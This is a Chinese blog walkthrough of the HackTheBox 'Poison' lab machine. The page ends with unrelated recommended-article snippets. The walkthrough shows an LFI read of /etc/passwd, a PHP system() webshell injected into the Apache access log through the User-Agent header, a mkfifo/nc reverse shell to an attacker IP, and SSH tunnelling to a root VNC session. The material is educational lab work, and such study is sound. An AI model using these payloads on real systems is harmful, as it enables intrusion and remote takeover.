HTB靶场系列 linux靶机 Poison靶机_彤彤学安全的博客-程序员秘密

技术标签: 安全  HTB  渗透测试  linux  php  vnc  

勘探

nmap -sCV 10.10.10.84
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-07 19:26 EDT
Nmap scan report for 10.10.10.84
Host is up (0.018s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.32 seconds

发现服务器开了22端口的ssh和freebsd的80端口

那么我们打开web看一看有点什么

80端口

发现是一个文件检索目录

可以检索四个文件

其中调查phpinfo.php时发现,php的文件上传是开着的allow_url_include是关闭的所以这个站存在文件包含和文件上传两个问题

至于上次我们曾经尝试的对phpinfo界面用post上传文件的方法这次不怎么好使,这次我们应该是一种其他的方式了

同时在那个搜索框里,我们也发现它可以直接访问服务器中的文件/etc/passwd

然后我们在listfiles.php这个文件中发现不止有主页提示的这四个文件还有一个pwdbackup文件打开之后发现是一个加密了至少13次的base64文件

This password is secure, it's encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=

这样

然后我们可以将它保存到我们自己的机器里面然后做一个小循环去进行13次解码

> data=$(cat pwd.b64); for i in $(seq 1 13); do data=$(echo $data | tr -d ' ' | base64 -d); done; echo $data
Charix!2#4%6&8(0

然后得到一个密码

获取www-data权限

这一步我卡在开放文件上传,但我上传不上去了,然后我去看了大佬写的攻略HTB: Poison | 0xdf hacks stuff这里有详细的解释,我在下面用中文按我的理解写一下,如果不对欢迎大佬批评指正

我们之前在phpinfo界面发现了这个服务器的php允许了任意文件访问

那么我们尝试用任意文件访问来使这个browse.php这个主界面来加载服务器的日志文件,那么假如我们在日志文件的内容中包含php语句,就会被这个php文件所加载,而日志文件中会显示的一个使请求方式另一个就是用户信息,那我们就尝试在用户信息中注入php语句

我们尝试

GET / HTTP/1.1

Host: 10.10.10.84

User-Agent: 0xdf: <?php system($_GET['c']); ?>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

这样来上传一个文件后门

接着我们来寻找这个apache服务器的日志文件放在哪里,我之前在一篇文章汇总过linux的各种日志的储存位置和记载内容,下次有机会发上来,其中就有记载apache的日志文件位于/var/log/这个文件夹下,有两个日志文件分别是错误文件httpd-error.log和访问日志httpd-access.log,我们可以去访问这个访问日志来实现执行我们刚刚注入的php语句的想法

poison_vnc-root.png

但是这里有些理解不了

为什么这样就可以对一个变量进行赋值,这是植入了一个长期的变量吗?

以我的思路就是在发请求的时候直接把命令写在请求里,实测也好用

然后直接访问

http://10.10.10.84/browse.php?file=/var/log/httpd-access.log&c=rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202%3E%261|nc%2010.10.16.7%204444%20%3E/tmp/f
# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.84] 19226
sh: can't access tty; job control turned off
$ pwd
/usr/local/www/apache24/data
$ id
uid=80(www) gid=80(www) groups=80(www)

这样我们就获得了一个www权限的shell

但是这里其实根本没必要获取www权限

获得Charix

我们可以直接在他的任意文件访问处访问/etc/passwd文件,从而得到用户名来进行ssh连接

得到www权限后我们知道服务器开启了ssh服务,那么我们去看一看这台机器的用户名是什么,去访问home文件夹看看用户名

发现叫charix

那么ssh登录

ssh [email protected]

发现需要密码,那我们试一下刚刚破译出来的,还真是

然后登陆成功

ssh [email protected]
Password for [email protected]:
Last login: Wed Apr  4 19:42:41 2018 from 10.10.15.237
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

Edit /etc/motd to change this login announcement.
Need to see your routing table? Type "netstat -rn". The entry with the G
flag is your gateway.
                -- Dru <[email protected]>
[email protected]:~ %

这样,然后就获得了user.txt

获取root权限

在这又卡了,以前没接触过x windows,学安全真是要涉猎广泛

打开user.txt的时候发现桌面上还有一个文件,叫secret.zip解压发现有密码,那直接试试刚刚那个密码,又成功了

解压出一个secret文件出来

file一下发现

file secret
secret: Non-ISO extended-ASCII text, with no line terminators

那就直接用scp下载那个secret文件到本地

scp [email protected]:/home/charix/secret /  

但是这玩意有什么用呢

我们查看一下防火墙

netstat -an -p tcp
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address          Foreign Address        (state)
tcp4       0      0 10.10.10.84.22         10.10.14.6.57604       ESTABLISHED
tcp4       0      0 10.10.10.84.19226      10.10.14.6.9001        ESTABLISHED
tcp4       0      0 10.10.10.84.80         10.10.14.6.55208       ESTABLISHED
tcp4       0      0 127.0.0.1.25           *.*                    LISTEN
tcp4       0      0 *.80                   *.*                    LISTEN
tcp6       0      0 *.80                   *.*                    LISTEN
tcp4       0      0 *.22                   *.*                    LISTEN
tcp6       0      0 *.22                   *.*                    LISTEN
tcp4       0      0 127.0.0.1.5801         *.*                    LISTEN
tcp4       0      0 127.0.0.1.5901         *.*                    LISTEN

发现除了我们扫描到的还有5801和5901两个端口,这两个端口是VNC服务

[email protected]:/usr/local/www/apache24/data % ps -auwwx | grep vnc
root    529   0.0  0.9  23620  9036 v0- I    12:54     0:00.07 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1

然后发现果然循行了vnc的xwindows服务,并且还告诉了我们怎么操作

  • :1 - display number 1
  • -rfbauth /root/.vnc/passwd - specifies the file containing the password used to auth viewers
  • -rfbport 5901 - tells us which port to connect to
  • localhost - only listen locally

那么刚刚我们获得的那个文件就知道有什么用了

tail /etc/proxychains.conf
#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4  127.0.0.1 9091

[email protected]:~/hackthebox/poison-10.10.10.84# ssh [email protected] -D 9091

我们先配置一下代理,用proxychains将ssh服务代理到localhost上

注意:proxychains的配置文件文件名可能还是proxychains4.conf进到文件夹里看一下就行

根据socks4 那一栏显示的端口决定下面ssh连接哪一个端口

代理配置好了,用ssh连接用-D选择转发端口到proxychains的地理端口,之后另开一个shell

用proxychains来连接vncviewer密码文件使用我们刚刚获得的secret文件

> proxychains vncviewer 127.0.0.1:5901 -passwd secret

ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8081-<><>-127.0.0.1:5901-<><>-OK
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

使用刚刚的secret文件来进入x Desktop界面,这个界面是一个root权限

poison_poisoned.png

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/m0_57221101/article/details/122490991

智能推荐

数据库专题 数据库适配--达梦数据库基本适配问题DM_极光雨雨的博客-程序员秘密

数据库链接以springBoot的为例,内容类似如下:spring.datasource.driver-class-name=dm.jdbc.driver.DmDriverspring.datasource.url=jdbc:dm://192.168.*.:5236/dbnamespring.datasource.username=TESTspring.datasource.password=TEST2021依赖依赖&lt;dependency&gt; &lt;groupId&gt;c

linux内存已满了怎么清除,怎么清除linux的内存和cache_王方浩的博客-程序员秘密

http://hi.baidu.com/icej/blog/item/c362c33f88093bc57c1e71ea.html/proc是一个虚拟文件系统,我们可以通过对它的读写操作做为与kernel实体间进行通信的一种手段.也就是说可以通过修改/proc中的文件,来对当前kernel的行为做出调整.那么我们可以通过调整/proc/sys/vm /drop_caches来释放内存.操作如下:[r...

C语言动态内存管理_ClimberNtt的博客-程序员秘密_c语言动态内存管理

?为什么存在动态内存分配我们知道空间可以通过数组开辟,但是空间的大小是固定的,并且要在编译时指定大小。可是有时候我们在运行时才能知道想要的空间大小,动态内存分配就可以满足这一点。动态内存分配函数mallocvoid* malloc(size_t size);//头文件是&lt;stdlib.h&gt;该函数的返回值是一个指针,类型是void,由开辟者自己决定类型,可通过强制类型转换实现。如果开辟空间失败,则返回一个NULL指针,因此malloc的返回值要检查。如果开辟空间成功,返回一个未知类

从 TikTok 危机看去中心化应用未来曙光 | ArcBlock 博客_ArcBlock区块基石的博客-程序员秘密

作者:陈俊(ArcBlock 副总裁)45 天之后,抖音海外版 TikTok 不是被美国公司收购,就是被勒令退出美国市场——这款风靡海外青少年用户的短视频分享应用最近极具戏剧性的遭遇无...

[深度学习]-全面了解Word2Vec(详细)(NNLP->CBOW&skip-gram->hierarchical softmax&Negative sampling)_不会飞的鹰08的博客-程序员秘密

Word2Vec 顾名思义,就是将word转化成向量,转化成计算机可以计算、训练的0和1,让计算机自己可以识别词的含义,并进行学习和输出。2013年,Google团队发表了word2vec工具。word2vec工具主要包含两个模型:跳字模型(skip-gram)和连续词袋模型(continuous bag of words,简称CBOW),以及两种高效训练的方法:负采样(negative sam...

【matlab图像处理】图片生成浮雕效果_苏源流的博客-程序员秘密_高斯噪声浮雕

%浮雕效果 handles.pic=imread('I:\技术照片\手绘油画\psb.jpg');% handles.pic=imread('I:\技术照片\手绘油画\IMG_20160418_083349.jpg');%改为灰度图像 f0=rgb2gray(handles.pic); %加入高斯噪声 f1=imnoise (f0,'speckle',0.01); %加入密度0.01

随便推点

2021我对Android-view的3条认识,含小米、腾讯、阿里_m0_53537576的博客-程序员秘密

前文本文希望通过揭开一些 React 隐藏的技术细节, 来辅助对官方文档中某些概念的理解读者可以将本文看做对官方文档的补充行文方式我采用的是提问-解答的方式, 即先根据官方文档给出的使用规则, 提出Why, 然后我们根据实际的调试再来解答这些Why, 最后系统的整理这些 Why 变成 How, 如果你们有更好的行文方式, 也欢迎留言讨论另外为了阅读体验, 我不会粘贴过多的源码, 避免打断各位读者的思路.正文JVM 语言得摆正自己的地位,既要考量自己的能力,也得考虑历史的进程。Java

mysql 编码_AYXYJ的博客-程序员秘密_mysql编码

alter database &lt;数据库名&gt; character set utf8;truncate table `tablename`; 主键自动增加重置和清除数据修改mysql数据库的字符编码mysql&gt; set character_set_client=utf8 ;mysql&gt; set character_set_connection=utf8 ;m...

canvas旋转图片_可乐少点冰的博客-程序员秘密_canvas drawimage 旋转

最终想要的结果1、移动画布中心点ctx.translate(x,y);//设置画布上的(0,0)位置,也就是旋转的中心点此时旋转画布,会以(x,y)为中心点3、所以我们需要将图片中心点也转移到(x,y)ctx.drawImage(img,-img.width/2,-img.height/2);//把图片绘制在旋转的中心点,4、旋转角度ctx.rotate(90*Math....

python3调用腾讯API——实现基本文本分析,计算机视觉(图像/文字/验证码/名片/驾驶证)识别_江湖一点雨的博客-程序员秘密_腾讯 视觉 api

python3调用腾讯API——实现基本文本分析,计算机视觉(图像/文字/验证码/名片/驾驶证)识别前言前面几篇文章是:python3使用谷歌tesseract-ocr4.0实现图像/文字识别python3调用百度API–ocr实现图像/文字/验证码识别这些都是博主1月份的时候搞的东西了,放了很久在草稿箱里面,但是效果依然在。在调用了谷歌,百度的OCR-api之后,现在试试腾讯的。腾...

VMD安装(无root权限不联网不配置环境变量)_不想翻身的小咸鱼的博客-程序员秘密_vmd安装

简介VMD是分子可视化程序,使用OpenGL提供高质量的3D分子图形。用于显示、动画演示和分析大的生物分子体系。VMD专为建模,可视化和分析生物系统(例如蛋白质,核酸,脂质双层组件等)而设计。由于VMD可以读取标准蛋白质数据库(PDB)文件并显示,因此可用于查看更通用的分子包含的结构。VMD提供了多种用于渲染和着色分子的方法:简单的点和线,CPK球体和圆柱体,甘草键,主干管和色带,卡通绘图等。VMD可用于对分子动力学(MD)模拟的轨迹进行动画处理和分析。特别是,VMD可以通过在远程计算机上显示和模拟分子

luaedit 新版本 支持lua5.1 马上要发布_cfy_yufeng的博客-程序员秘密

Announcing LuaEdit 2008 and new website Jean-François Goulet - 2008-06-24 21:14 - LuaEditLuaEdit is getting a whole new look with the upcoming version of LuaEdit 2008 which will support the...

推荐文章

热门文章

相关标签